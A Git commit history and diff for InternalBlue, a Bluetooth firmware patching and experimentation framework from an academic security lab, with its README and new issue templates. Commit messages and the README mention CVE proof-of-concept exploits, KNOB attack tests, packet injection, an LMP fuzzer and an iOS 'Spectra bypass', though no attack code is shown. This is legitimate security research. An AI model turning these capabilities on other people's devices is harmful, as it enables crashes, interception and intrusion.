168 Commits

Author SHA1 Message Date
Dennis Heinze 0ae8db134b Add HCI_CHANNEL_USER socket to hcicore 2021-10-12 17:26:48 +02:00
Jiska Classen 5460f57275 fixed pwntools 4.6.0 bug 2021-09-27 11:55:58 +02:00
Jiska Classen 8674e9c248 minor changes to get lmp stuff working again 2021-09-07 12:26:38 +02:00
Jiska Classen e48d658dca ios 14.7 write_ram support 2021-08-20 00:35:31 +02:00
Jiska Classen a18035d40f rudimentary iphone 12 support 2021-07-05 19:08:04 +02:00
Jiska Classen 89e8b420be Merge branch 'master' of github.com:seemoo-lab/internalblue 2021-06-25 15:29:06 +02:00
Jiska Classen 89e7ef8dc0 raspberry pi 4b support 2021-06-25 15:28:40 +02:00
Jiska Classen b37ef2f062 Merge pull request #52 from cchaine/fix-use-ipython-error-from-cmd2-2_0_0-version
Fixes the *use_ipython* error during launch
2021-06-24 13:07:00 +02:00
Clément Chaine 9d2c41f34d Fixes the *use_ipython* error during launch
This issue is due to the renaming of the use_ipython parameter to include_ipy in the recent cmd2 2.0.0 release
2021-06-23 17:19:17 +02:00
Jiska Classen 1967085090 Merge branch 'master' of github.com:seemoo-lab/internalblue 2021-06-22 22:20:06 +02:00
Jiska Classen 09f4f204dd created poc for wisec tutorial (lmp features res filter), minor changes
within stack dump parsing etc. that occurred while fixing
2021-06-22 22:19:11 +02:00
Dave c860fe64f8 Fix repeat command 2021-06-22 22:08:41 +02:00
Jiska Classen b69bf412d3 happy mitm frida poc 2021-06-22 12:49:19 +02:00
Jiska Classen 8fd200af99 Merge pull request #47 from drewbug/patch-1
Fix small typo
2021-04-23 15:24:32 +02:00
drewbug abaa1b3ff4 Fix small typo 2021-04-22 15:35:17 +02:00
Robert Reith 8c3f4f98a7 Update setup.md 2021-04-04 01:15:35 +02:00
Jiska Classen ca7c831c99 bluez linux kernel diff for diagnostics 2021-03-04 19:15:15 +01:00
Jiska Classen cd75e8a747 Android 11 works but needs extended timeouts on queues 2021-01-24 20:52:27 +01:00
Jiska Classen 8031188615 2021 :) 2021-01-21 03:26:42 +01:00
Jiska Classen 4efb73851d forgot versions, it's a bit late... 2021-01-21 03:22:04 +01:00
Jiska Classen c205e3b6cc ugly workaround for write_ram on s10e / galaxy s20 5g with january 2021
patchlevel
2021-01-21 03:08:59 +01:00
Jiska Classen 989ac44a5a write_ram on iPwn 7 2021-01-18 03:35:39 +01:00
Jiska Classen 070f82844b Write_RAM on iOS 14.3/iPhone 8, notes on macOS Bug Sir 2021-01-14 20:05:54 +01:00
Robert Reith 8955803a38 Merge pull request #38 from robre/ios-pcie
updated doc that now we use jtool2 instead of jtool
2020-12-18 16:55:11 +01:00
r0bre 8bda5c7078 updated doc that now we use jtool2 instead of jtool 2020-12-18 16:54:00 +01:00
Robert Reith e6425152a5 Merge pull request #37 from robre/ios-pcie
updated installation script to use jtool2 instead of the old jtool
2020-12-18 16:50:06 +01:00
r0bre 90e56d893e updated installation script to use jtool2 instead of the old jtool 2020-12-18 16:34:12 +01:00
Davide Toldo 6a87e6702f Add my thesis 2020-12-07 20:34:17 +01:00
Davide Toldo 41dd24abf1 Add my thesis 2020-12-07 20:28:38 +01:00
Davide Toldo dd62b28bc2 Add internalblue console script back 2020-10-24 18:13:19 +02:00
Davide Toldo ef37102762 Just some refactoring 2020-10-23 15:17:10 +02:00
Davide Toldo 7f48480a89 Missed one function call! 2020-10-23 01:01:56 +02:00
Davide Toldo fd7343dcd7 Optimise imports and formatting of magicpairing POCs 2020-10-23 01:00:23 +02:00
Davide Toldo 4d11cb1a0c Fix iPhone POCs to work with latest InternalBlue changes 2020-10-23 00:49:26 +02:00
Davide Toldo 294bf163ce Fix CYW20819 POCs to work with latest InternalBlue changes 2020-10-23 00:41:41 +02:00
Davide Toldo 192dc4408d Fix CYW20735 POCs to work with latest InternalBlue changes 2020-10-23 00:32:35 +02:00
Davide Toldo 0610734be9 Fix CYW20719 POCs to work with latest InternalBlue changes 2020-10-23 00:20:30 +02:00
Davide Toldo 3707944a80 Fix Samsung S8 POCs to work with latest InternalBlue changes 2020-10-23 00:13:04 +02:00
Davide Toldo d2c0c81081 Fix RPi3+ & 4 POCs to work with latest InternalBlue changes 2020-10-22 23:58:28 +02:00
Davide Toldo 677fc1fe63 Fix RPi3 POCs to work with latest InternalBlue changes 2020-10-22 23:40:30 +02:00
Davide Toldo e6cd50e79b Fix Nexus 6P POCs to work with latest InternalBlue changes 2020-10-22 22:11:47 +02:00
Davide Toldo 4e8b12c6b9 Fix Nexus 5 POCs to work with latest InternalBlue changes 2020-10-22 21:48:19 +02:00
Davide Toldo 4a2c3ac99a Modify cli to be possible to initialise it with a pre-setup core / InternalBlue object e.g. when used in POCs 2020-10-22 19:59:54 +02:00
Davide Toldo 69b8ccee0a Fix crash in bits_str 2020-10-22 19:40:09 +02:00
Davide Toldo 4e0607a4fc Adapt docs and setup file to new setup (no pwntools by default) 2020-10-22 13:50:17 +02:00
Davide Toldo 3bb8ee79f7 ADBCore fixed for Samsung V2 2020-10-22 00:55:36 +02:00
Davide Toldo e16bea12ea ADBCore fixed for Samsung 2020-10-22 00:51:21 +02:00
Davide Toldo 6983be188f Add some typing, fix stupid syntactic error, fingers crossed 🤞 2020-10-20 10:52:13 +02:00
Davide Toldo 0ac4824df2 Merge branch 'master' into cmd2
Add the latest changes of the master branch into cmd2 branch. Especially new iOS stuff.
2020-10-19 17:15:23 +02:00
Davide Toldo 08abb11fed Add back 'check_binutils' hack since it seems to still be needed in some Linux distros 2020-10-19 16:07:37 +02:00
Davide Toldo 6a00b82aa9 * Fix black text on black background LOL
* Fix hexdump (was missing last byte and dots didn't all have the right colour)
* Make logging more in line with the 'original' from pwn
2020-10-19 15:29:43 +02:00
Davide Toldo b572b7bc43 Fix tracing 2020-10-16 18:22:40 +02:00
Davide Toldo 11614ea3dc * Switch to cmd2's builtin ipython shell (invoked using ipy possible when IPython is installed)
* Safe shutdown of core when using `exit` instead of `quit` (but both should be just fine)
* Fix typos
* Fix PyCharm warnings
* Fix info commands: device, connections, patchram
2020-10-16 18:22:06 +02:00
Davide Toldo 65c63c2055 Fix bug potential in macOS core 2020-10-16 18:09:22 +02:00
Davide Toldo 6f205fbd01 Fix smol bug in ADB 2020-10-16 18:05:32 +02:00
Davide Toldo 7223e8c131 Fix copy-paste error 2020-10-16 18:04:56 +02:00
Davide Toldo 14024819bc Remove PWN from adbcore (now uses ppadb)
Fix typo
2020-10-15 22:50:20 +02:00
Davide Toldo 6fbe2a4e68 Make pwnlibs optional dependency 2020-10-15 15:35:25 +02:00
Davide Toldo 11b30341bc Fix u8 (returned tuple instead of number) 2020-10-15 15:28:48 +02:00
Davide Toldo 78aaddc028 Move H4 check to better location to prevent errors 2020-10-15 15:28:48 +02:00
Davide Toldo c4d9ddd262 Fix syntax error 2020-10-15 15:28:47 +02:00
Davide Toldo 16c025499d Add all aliases / shortcuts for commands
Fix `help` menu for decorated commands
Fix fuzzlmp which exited the commandloop
Fix adv & breakpoint commands
2020-10-15 15:28:38 +02:00
Davide Toldo f6aa3415f4 Remove unneeded variable 2020-10-14 16:04:24 +02:00
Davide Toldo 5802846bd1 * ADBCore: Optimise imports
* CLI:
    * Optimise imports
    * Change pwnlibs decorator => imports at top of file now, not in decorator anymore. More in line with PEP8 n stuff.
    * Utility function to simply get the InternalBlue logger
    * Enable `monitor` (Wireshark) for ADB devices on macOS
* Core: Optimise imports, use new decorator & logger utility
* FW: Use new logger utility function
* Others: Switch to own logging and packing / unpacking
2020-10-14 15:52:40 +02:00
Davide Toldo 26b9f6c162 Forgot to uncomment logger.debug when receiving data 2020-10-14 14:20:15 +02:00
Davide Toldo 6e6ea75280 Remove fix_binutils, not needed. Replace with in cli.py commands. 2020-10-14 11:20:37 +02:00
Davide Toldo d435410623 Create bits / unbits functions, move decorator to utils 2020-10-14 10:45:42 +02:00
Davide Toldo 18d64e6122 Remove CustomCmd (aliases are built-in into Cmd2), Fix import errors of pwnlibs 2020-10-14 10:12:22 +02:00
Davide Toldo dc3e365dce Add new annotation and decorator that imports pwn if you use a function that requires it. 2020-10-14 01:03:35 +02:00
Robert Reith 0a37cd4ba4 Merge pull request #34 from robre/ios-pcie
reduced some logging and added a fix for dev_id decoding error
2020-10-09 21:08:19 +02:00
r0bre 0c52236b23 added error when all transport creations failed 2020-10-09 15:43:42 +02:00
r0bre 5633aeaa9e reduced logging outputs 2020-10-09 15:30:58 +02:00
r0bre 34ed4294fd Fix for dev_id decoding error on different platforms 2020-10-09 14:56:10 +02:00
Davide Toldo ba9f4cfd76 Remove pwn from ios and macos cores (was still used for logging and loglevel) 2020-10-09 01:55:32 +02:00
Davide Toldo cc1266e980 * Remove 'context' from adbcore, core
* Loglevel can now be set like before (default INFO), is property of core
* Move flat() and yesno() custom functions to utils
* Use normal threading.Thread instead of pwnlibs threads
* Autoformat core
2020-10-09 01:47:41 +02:00
Davide Toldo 1f230ef12d Remove unpacking and packing methods & log from core and adbcore.
TODO: Use log_level in console output (cmd2)
TODO: Remove 'context' variable from pwntools
2020-10-08 17:25:24 +02:00
Davide Toldo edfac4d209 Fix unpack methods 2020-10-08 17:23:09 +02:00
Davide Toldo 3965de63e6 CLI now starts using CMD2 instead of pwntools.
* Multiple custom functions like hexdump, yesno, options and more.
* All cores can be started and device selection also works.
* History is saved and persists between sessions.
* Cmd Class replaced by cli.py commands
* TODO: Remove pwn from cores, check customCmd, tracing & loglevel setting
2020-10-08 01:00:55 +02:00
Jiska Classen 68f4a7ef0a Tested iOS PCIe support and added Fiti/Moana Patchram 2020-10-06 14:53:39 +02:00
Jiska Classen 3a235cd458 Merge pull request #33 from robre/ios-pcie
Ios pcie
2020-10-06 14:49:35 +02:00
r0bre ae3ade37a0 Doctors Hate this trick! 2020-10-02 19:38:42 +02:00
r0bre d3b950b65d updated .deb package 2020-09-21 04:14:10 +02:00
r0bre f8fa847f88 Multiplexing using H4 should be working now. The deamon now works on iphone 11 with pcie. (works with internalblue-cli) 2020-09-21 03:49:33 +02:00
r0bre 283f7cf674 MVP for internalblued on ios with PCIe. Currently only HCI supported. Note that for the deb installation to succeed, ldid and jtool need to be installed on the phone. 2020-09-03 23:41:28 +02:00
Jiska Classen 74a87519c6 Merge pull request #31 from robre/patch-1
Added some build instructions
2020-09-03 16:10:30 +02:00
robre 8b7d2c8e17 updated the make command
to build the package, you need to run `make package` instead of just `make`
2020-09-03 16:05:33 +02:00
robre 6503b7702d Added some build instructions
When you build from a clean Theos install, you will be missing the necessary headers for the build to succeed. I added the instruction to install the correct headers, as this took me over an hour to figure out..
2020-09-03 15:58:45 +02:00
Jiska Classen 871aa1a39c Spectra bypass for iOS 13.6 on iPhone 8 2020-08-05 02:13:54 +02:00
Jiska Classen 740449f8c6 Merge pull request #30 from swidnikk/master
Update macos.md
2020-07-20 18:22:08 +02:00
Daniel Swid 2284077504 Update macos.md
Updated path to xcode project
2020-07-20 08:57:24 -07:00
Jiska Classen dceb7e3cce string parsing for iOSCore fixed 2020-07-19 15:23:52 +02:00
Jiska Classen 20f8a88e75 samsung galaxy s8 .hcd w/o spectra patch but with rng patch 2020-07-18 02:41:08 +02:00
Jiska Classen 00ff78326e added bcm4364b3 support and updated macos readme 2020-07-04 01:20:01 +02:00
Jiska Classen 8ca478eaed bcm4364 firmware 2020-07-01 12:15:26 +02:00
Jiska Classen e8da21828f Memory Pool Statistics 2020-05-29 22:05:04 +02:00
Davide Toldo 0afa31b995 Fix table 2020-05-22 20:53:39 +02:00
Jiska Classen c15584f83c restructured magicpairing docs 2020-05-18 11:42:28 +02:00
Dennis Heinze 557b9059af Add MagicPairing PoCs 2020-05-18 11:12:37 +02:00
Jiska Classen 3b41996943 Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-05-06 13:32:34 +02:00
Jiska Classen 3908bac517 minor bugfixes and notes when working with a 2015 mbp and iphone 8 2020-05-06 13:32:01 +02:00
Davide Toldo 184288ead2 Update macos.md 2020-05-05 00:35:41 +02:00
Davide Toldo 1bf1de11a7 Improve macOS setup instructions 2020-05-05 00:32:17 +02:00
Jiska Classen f8b0ad6725 the samsung galaxy s8 is missing a hrng 2020-04-30 23:40:07 +02:00
Jiska Classen 2d3ff6226d Added CVE-2020-6616 measurement scripts (except vuln device) 2020-04-27 22:14:41 +02:00
Jiska Classen 6503279b00 added MacBook 2019 chip BCM4364B0 2020-04-16 15:34:31 +02:00
Jiska Classen 96912a5ee2 Merge branch 'master' of https://github.com/seemoo-lab/internalblue 2020-04-16 00:46:57 +02:00
Jiska Classen cc84f9effe Merge branch 'master' of https://dev.seemoo.tu-darmstadt.de/bcm/internalblue 2020-04-16 00:46:40 +02:00
Jiska Classen be09a97d79 CLI 'adv' enables enhanced adv report that includes the channel 2020-04-16 00:44:57 +02:00
Jiska Classen efc2343bea New issue templates 2020-04-15 19:18:22 +02:00
Davide Toldo 308829e0ea Fix macOS framework path 2020-04-15 12:11:40 +02:00
Jiska Classen 797455701b more fixes in the readmes 2020-04-14 20:20:21 +02:00
Jiska Classen f459c6fdae fixed broken links 2020-04-14 18:48:49 +02:00
Jiska Classen 79acb79d34 rewrote and restructured the documentation 2020-04-14 17:23:28 +02:00
Jiska Classen 03a11dc6bf Merge pull request #24 from mikeryan/legacy_shell_fix
use more universal tail arguments and nc command name
2020-04-13 15:59:28 +02:00
Mike Ryan 14c8becfef use more universal tail arguments and nc command name
Some older versions of busybox do not install nc as netcat and do not
support the tail -number syntax. This patch uses the more universal nc
command name and tail -n number syntax.

See #23
2020-04-12 14:04:35 -07:00
Jiska Classen 946f1b1274 Merge pull request #22 from seemoo-lab/improve_install_instructions
Extend install instructions for different use cases
2020-04-12 20:47:10 +02:00
Jiska Classen 160206ab53 two minor core fixes 2020-04-12 20:36:51 +02:00
Florian Magin 59ae0bcb3a Extend install instructions for different use cases 2020-04-06 08:04:17 +02:00
Jiska Classen 1abc8c7ef3 nah that's why hex conversion broke in auto_int... 2020-04-05 13:25:14 +02:00
Jiska Classen 6f5526b8c1 minor bugfixes in cli and iphone 7 2020-04-04 17:55:35 +02:00
Jiska Classen 03befeb427 iMac 2009 High Sierra support 2020-04-02 02:57:24 +02:00
Jiska Classen 0ef1748447 CVE-2018-19860 PoC 2020-03-31 17:11:18 +02:00
Jiska Classen 16c362af29 tested all pocs in python 3 on the nexus 5, fixed the other examples according to that 2020-03-31 16:29:01 +02:00
Jiska Classen 4438eccdb3 Merge branch 'fix_examples' of https://github.com/seemoo-lab/internalblue 2020-03-31 15:38:33 +02:00
Jiska Classen fa483e7551 started documentation on how to fix launch_ram in certain devices 2020-03-31 15:36:42 +02:00
Jiska Classen 2c6911f792 firmware comments and minor bugfixes 2020-03-28 02:59:05 +01:00
Florian Magin 48461fbd17 Update nearly all examples to Python3 2020-03-25 22:47:46 +01:00
Florian Magin a3d418a262 Fix Nexus6P KNOB PoC 2020-03-25 22:26:34 +01:00
Jiska Classen a435466c01 breakpoint handling and stacktrace parsing 2020-03-25 19:33:22 +01:00
Jiska Classen 5863b11104 linux issue in ioscore, cyw20819 launch_ram note 2020-03-25 03:41:55 +01:00
Florian Magin 8e93878e08 Fix import related issues
Two problems were fixed:
__future__ imports must be the first import of a file, otherwise python
just refuses the file

The Address Type was used but not correctly imported (and not properly
defined as a NewType, just a Type Alias)
2020-03-24 12:54:45 +01:00
Florian Magin a210025dc5 Add explicit Python 3.6 requirement 2020-03-24 12:35:40 +01:00
Jiska Classen f9c38dfd49 rpi3 install 2020-03-24 01:32:53 +01:00
Jiska Classen aa127b7148 minor bugfixes when working with raspberry pi 3/3+/4 2020-03-23 02:00:30 +01:00
Jiska Classen 5792bca5b8 iOS: recv queue full no longer crashes 2020-03-21 23:25:19 +01:00
Jiska Classen 4df388c37a all firmware files should be python3 now, sendhcicmd cli fixed 2020-03-21 21:56:55 +01:00
Jiska Classen 733cd9ca56 iOS: fixed event len>128 2020-03-21 20:57:24 +01:00
Jiska Classen a8a6623658 python3 ioscore/usbmux issues 2020-03-21 19:50:37 +01:00
Jiska Classen b599213104 iOS & python 2 readme 2020-03-21 03:21:54 +01:00
Jiska Classen df5636b9b8 Nexus 6P / Galaxy S6 fw file fixed 2020-03-21 03:05:17 +01:00
Dennis Heinze 25fa80a416 Introducing the new version of the ios-proxy: internalblued 2020-03-20 17:06:14 +01:00
Dennis Heinze fd7310330b iOSCore uses usbmuxd now 2020-03-20 16:52:42 +01:00
Jiska Classen 65a8ce61e6 Python 3: Nexus 5 stack dump, connection event 2020-03-20 00:41:08 +01:00
Jiska Classen 67ec7f5347 readMemAligned Python3 bug fixed 2020-03-19 18:40:19 +01:00
Jiska Classen 8dce7f86a4 Python 3 \o/ 2020-03-19 16:40:03 +01:00
Florian Magin 692134f748 Document pwntools dev requirement for tests 2020-03-11 15:45:14 +01:00
Florian Magin c2166ce384 Mark trace test as flaky 2020-03-11 15:44:55 +01:00
Florian Magin a7266c819d Prevent orphaned file handle 2020-03-11 15:44:39 +01:00
Florian Magin f6704f904e Check for None instead of False due to changed function signature 2020-03-11 15:25:29 +01:00
Florian Magin 9ed9f6e1cc Fix and readd banner 2020-03-11 15:11:01 +01:00
Florian Magin efe3614ea5 Fix setup.py with new dependencies, entry point and test dependencies 2020-03-11 14:46:17 +01:00
Florian Magin e6b58865dc Add future as a dependency for now (should be removed while removing all remnants of python2 support) 2020-03-11 14:29:07 +01:00
Jiska Classen 8d14ab9485 confirmed that hcicore works on linux, and that adbcore works with and without serial mode. 2020-03-09 21:58:53 +01:00
Florian Magin f4f51a7952 Fix type issue that only workls during type checking 2020-03-09 16:46:25 +01:00
Florian Magin b409207a3e Remove old testcore 2020-03-07 15:38:18 +01:00
Florian Magin fa18727e69 Fix issues in macoscore.py 2020-03-07 15:36:29 +01:00
Florian Magin 6255023db8 Fix issues in ioscore.py 2020-03-07 15:35:47 +01:00
Florian Magin 796eb4cc03 Fix issues in hcicore.py 2020-03-07 15:30:41 +01:00
Florian Magin 6677b86e94 Fix various issues in hci.py 2020-03-07 15:26:18 +01:00
Florian Magin ca070290c5 Fix various issues in core.py 2020-03-07 15:24:14 +01:00
Florian Magin bc3d52f00e Fix various issues in cmds.py 2020-03-07 15:09:03 +01:00
Florian Magin d737068304 Fix type issues in adbcore.py 2020-03-07 14:22:30 +01:00
Florian Magin e8f6e94e1b Convert HCI COMND dict to proper enum for type checking and documentation purposes 2020-03-07 14:14:54 +01:00
Florian Magin 6e91f9c718 black -t py36 ./internalblue for code formatting 2020-03-07 13:12:52 +01:00
Florian Magin 361892bc06 Type annotations, typing fixes and simple refactors 2020-02-27 14:57:06 +01:00
Florian Magin 2ce2224421 Fix printing by regressing to using pwn directly 2020-02-27 14:55:02 +01:00
Florian Magin 104a35a79a Fix pwnlib related refactor so it still works with python2 2020-02-27 14:41:45 +01:00
Florian Magin e6b99906c9 Remove all 'from pwn import *' in internalblue code 2020-02-27 13:00:01 +01:00
205 changed files with 15193 additions and 6316 deletions
+33
View File
@@ -0,0 +1,33 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: ''
assignees: ''
---
**Describe the bug**
<!--
A clear and concise description of what the bug is.
-->
**Hardware and operating system**
<!--
Which Broadcom/Cypress device and operating system are you running on?
-->
**To Reproduce**
<!--
Describe which commands you entered.
-->
**Logs or screenshots**
<!--
If you have, we prefer logs in text form or Wireshark traces. If you want to point out one specific issue, you can also insert a screenshot.
-->
**Additional context**
<!--
Add any other context about the problem here.
-->
+29
View File
@@ -0,0 +1,29 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: ''
assignees: ''
---
<!--
Disclaimer:
This is an open-source project mostly maintained by volunteers. We love adding features that help everyone when using InternalBlue and we will do our best, but we cannot guarantee any timeliness for fixes and enhancements. Moreover, as some features require reverse-engineering Broadcom and Cypress firmware, they are rather complicated or impossible to add.
-->
**Is your feature request related to a problem? Please describe.**
<!--
A clear and concise description of what the problem is.
Ex. I'm always frustrated when [...]
-->
**Describe the solution you'd like**
<!--
A clear and concise description of what you want to happen.
-->
**Additional context**
<!--
Add any other context or screenshots about the feature request here.
-->
+16
View File
@@ -0,0 +1,16 @@
---
name: Question
about: General questions about Bluetooth and InternalBlue
title: ''
labels: ''
assignees: ''
---
<!--
Before asking your question, please check the other closed issues.
If your question is related to the Bluetooth specification, please add
a reference to the according section in the specification.
Ask your question below.
-->
+2 -1
View File
@@ -17,7 +17,7 @@ btsnoop.log
# xcode
xcuserdata
*.xcworkspace
macos-framework/IOBluetoothExtended.framework/
macos/IOBluetoothExtended.framework/
# venv
venv
@@ -25,3 +25,4 @@ venv3
# pycharm
*.idea
*.egg-info
+61 -203
View File
@@ -1,220 +1,78 @@
InternalBlue
============
Several Broadcom/Cypress Bluetooth firmwares and their firmware
update mechanism have been reverse engineered. Based on that we developed a
Bluetooth experimentation framework which is able to patch the firmware and
therefore implement monitoring and injection tools for the lower layers of
the Bluetooth protocol stack.
![InternalBlue](doc/images/internalblue_text.svg)
Publications and Background
---------------------------
*Broadcom* chips are used in approximately a billion of devices, such as
all *iPhones*, *MacBooks*, the *Samsung Galaxy S* series, the older *Google
Nexus* series, older *Thinkpads*, *Raspberry Pis*, various IoT devices, and more.
In 2016, *Cypress* acquired the IoT division of *Broadcom*. Since
then, firmware variants slightly diverged, as *Broadcom* kept non-IoT customers like
*Apple* and *Samsung*. However, the firmware interaction
and update mechanism stayed the same. We reverse-engineered how the operating
systems patch this firmware and interact with it. Based on that we developed a
Bluetooth experimentation framework, which is able to patch the firmware.
This enables various features that otherwise would only be possible with
a full-stack software-defined radio implementation, such as injecting and
monitoring packets on the link layer.
* **Master Thesis** (07/2018)
*InternalBlue* was initially developed and documented in the
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
*InternalBlue* has not only been used for our own research at the Secure Mobile
Networking Lab ([SEEMOO](https://seemoo.de)). Also, the [KNOB](https://knobattack.com/) and [BIAS](https://francozappa.github.io/about-bias/) attack prototype
were implemented using *InternalBlue* LMP messages
and the [SweynTooth](https://asset-group.github.io/disclosures/sweyntooth/) attacks also
experimented with *InternalBlue* for crafting LCP messages. Note that in contrast to tools like
[btlejack](https://github.com/virtualabs/btlejack) or
[Ubertooth](https://github.com/greatscottgadgets/ubertooth), *InternalBlue* does not
aim at performing Machine-in-the-Middle attacks. However, the device running *InternalBlue*
can send arbitrary packets and also inject these into existing connections. During
monitoring, all packets that are received by the device running *InternalBlue* are
captured, and there is no packet loss. *InternalBlue* does not have any issues with analysis of encrypted connections or
Classic Bluetooth. If you have specific feature requests for your security research,
feel free to open a ticket.
* **MRMCD Talk** (09/2018)
In addition to security research, *InternalBlue* also opens possibilities for
further analysis such as Bluetooth Low Energy performance statistics and improvements.
Anything that can be improved within a Bluetooth stack can be directly tested on
off-the-shelf devices.
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
Our recent research features [Frankenstein](https://github.com/seemoo-lab/frankenstein),
which emulates the firmware including thread switches and virtual modem input. The
emulated firmware can be attached to a *Linux* host. Thus, the approach is full-stack.
We mainly used it for fuzzing and found vulnerabilities that include host responses
to be triggered. *Frankenstein* is in a separate repository, but depends on *InternalBlue*
to take state snapshots etc. on a physical device.
Moreover, we just published [Polypyus](https://github.com/seemoo-lab/polypyus).
It enables binary-only binary diffing, independent of *IDA* and *Ghidra*. However,
it integrates into that workflow by identifying good starting points for further
analysis. We already tried it across various *Broadcom* Wi-Fi and Bluetooth firmware.
* **35C3 Talk** (12/2018)
Looking for our random number generator measurements that we did within the analysis
of CVE-2020-6616? You can find them [here](doc/rng.md).
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
There are also some more dynamic hooks for HCI with [Frida on iOS and Android](doc/keychange.md).
We used this to study the warning behavior in the user interface upon MitM attacks.
Likely useful for a lot of other experiments, though.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
Supported Features
------------------
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
Due to Spectra 👻🌈 the write and read RAM commands are disabled after driver initialization.
Workarounds for this are described in the according *Android* and *iOS* instructions,
bypasses for other devices will follow if needed.
Requirements
------------
Android:
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339 and Evaluation Boards
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
Linux:
* BlueZ, instructions see [here](linux_bluez/README.md)
* Best support for Raspberry Pi 3/3+/4
* For most commands: Privileged access
iOS:
* A jailbroken iOS device (tested on iOS 12.1.2/12.4 with iPhone 6, SE, 7, 8, X)
* The included `ios-proxy` (instructions in [here](ios-proxy/README.md))
* Optional: a Mac with `xcode` to compile the proxy yourself
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
macOS:
* Homebrew
* Xcode 10.2.1
* Instructions see [here](macos-framework/README.md)
Setup and Installation
----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip:
git clone https://github.com/seemoo-lab/internalblue.git
cd internalblue
pip2 install .
It will install the following dependencies:
* pwntools
The pwntools module needs the binutils package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
All steps on a plain Ubuntu 18.04:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
sudo pip2 install .
cd ..
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (July 2019) Raspian:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
Table of Contents
-----------------
* [Feature overview](doc/features.md)
